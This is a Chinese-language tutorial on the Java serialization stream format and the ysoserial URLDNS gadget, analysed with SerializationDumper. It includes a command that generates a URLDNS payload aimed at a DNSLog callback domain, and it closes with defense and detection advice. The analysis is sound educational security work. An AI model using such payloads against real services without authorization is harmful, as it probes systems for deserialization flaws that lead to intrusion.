SerializationDumper辅助研究ysoserial URLDNS反序列化原理
字数 2094 2025-08-10 08:28:27
Java反序列化漏洞分析:SerializationDumper与URLDNS利用原理
一、Java对象序列化流格式详解
1. 序列化流基本结构
Java对象序列化流由三部分组成:
- STREAM_MAGIC: 0xac ed (标识序列化格式)
- STREAM_VERSION: 0x00 05 (版本号)
- contents: 实际内容部分
2. 内容(contents)组成
contents可能包含:
- object: 各种类型的对象
- blockdata: 基础数据类型的数据块
3. 对象(object)类型
序列化流中的对象分为多种类型:
- newObject: 普通Java对象
- newClass: Class类对象
- newArray: 数组对象
- newString: 字符串对象
- newEnum: 枚举对象
- newClassDesc: 类描述对象(ObjectStreamClass)
- prevObject: 已出现对象的引用
- nullReference: 空引用
- exception: 异常对象
- TC_RESET: 重置标记
4. 关键对象格式详解
newString字符串对象格式
TC_STRING newHandle (utf)
TC_STRING: 字符串标识(0x74)newHandle: 对象句柄(类似ID)(utf): UTF-8编码的字符串内容
示例:
TC_STRING - 0x74
newHandle 0x00 7e 00 03
Length - 11 - 0x0b
Value - matt daemon
newClassDesc类描述对象格式
TC_CLASSDESC className serialVersionUID newHandle classDescInfo
TC_CLASSDESC: 类描述标识(0x72)className: 类名serialVersionUID: 序列化版本IDnewHandle: 句柄值classDescInfo: 类描述信息
classDescFlags常见取值:
0x02: SC_SERIALIZABLE (实现了Serializable接口)0x03: SC_WRITE_METHOD | SC_SERIALIZABLE (实现了Serializable和writeObject方法)
newObject普通对象格式
TC_OBJECT classDesc newHandle classdata[]
TC_OBJECT: 对象标识(0x73)classDesc: 对应的类描述newHandle: 句柄值classdata[]: 对象数据
如果类实现了writeObject()方法,classdata会包含:
values: 字段值objectAnnotation: 自定义写入的数据
5. blockdata数据块格式
基础数据类型使用blockdata表示:
- blockdatashort: 小数据块(TC_BLOCKDATA, 0x77)
- blockdatalong: 大数据块(TC_BLOCKDATALONG, 0x7a)
示例:
TC_BLOCKDATA - 0x77
Length - 8 - 0x08
Contents - 0x0000000100000000
6. 句柄(handle)机制
- 每个对象首次出现时分配唯一句柄
- 句柄从0x7E0000开始顺序分配
- 重复出现的对象使用句柄引用而非重新序列化
二、URLDNS反序列化利用分析
1. URLDNS Gadget原理
URLDNS是ysoserial中最简单的反序列化利用链,利用HashMap和URL类的特殊交互触发DNS查询。
2. 关键序列化流分析
生成payload并分析:
java -jar ysoserial.jar URLDNS http://example.dnslog.cn > urldns.ser
java -jar SerializationDumper-v1.13.jar -r urldns.ser
序列化流关键部分:
-
HashMap对象
classDescFlags: 0x03 (实现了writeObject方法)- 字段:
loadFactor = 1.06115891E9fthreshold = 12
-
objectAnnotation部分
- 8字节数据块:
0x0000000100000000- 后4字节表示HashMap键值对数量(1)
- URL对象:
hashCode = -1host = "example.dnslog.cn"
- 字符串对象:
"http://example.dnslog.cn"
- 8字节数据块:
3. 漏洞触发流程
- 反序列化时HashMap的readObject()被调用
- HashMap重建内部数据结构时计算键的hashCode
- 对于URL对象,hashCode为-1会触发hashCode()方法重新计算
- URL.hashCode()调用URLStreamHandler.hashCode()
- 最终触发getHostAddress()对host进行DNS解析
4. 关键代码逻辑
URL类的hashCode计算:
public synchronized int hashCode() {
if (hashCode != -1) return hashCode;
hashCode = handler.hashCode(this); // 触发DNS查询
return hashCode;
}
HashMap反序列化时重建数据结构:
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// 读取默认字段
s.defaultReadObject();
// 重建哈希表
for (int i = 0; i < mappings; i++) {
K key = (K) s.readObject();
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false); // hash(key)触发URL.hashCode()
}
}
三、防御与检测建议
-
防御措施
- 避免反序列化不可信数据
- 使用白名单限制可反序列化的类
- 实现ObjectInputFilter进行输入验证
-
检测方法
- 使用SerializationDumper分析可疑序列化数据
- 监控异常DNS查询行为
- 检查反序列化操作点是否安全
-
工具使用
- SerializationDumper: 分析序列化数据
- ysoserial: 生成测试payload
- DNSLog平台: 验证漏洞存在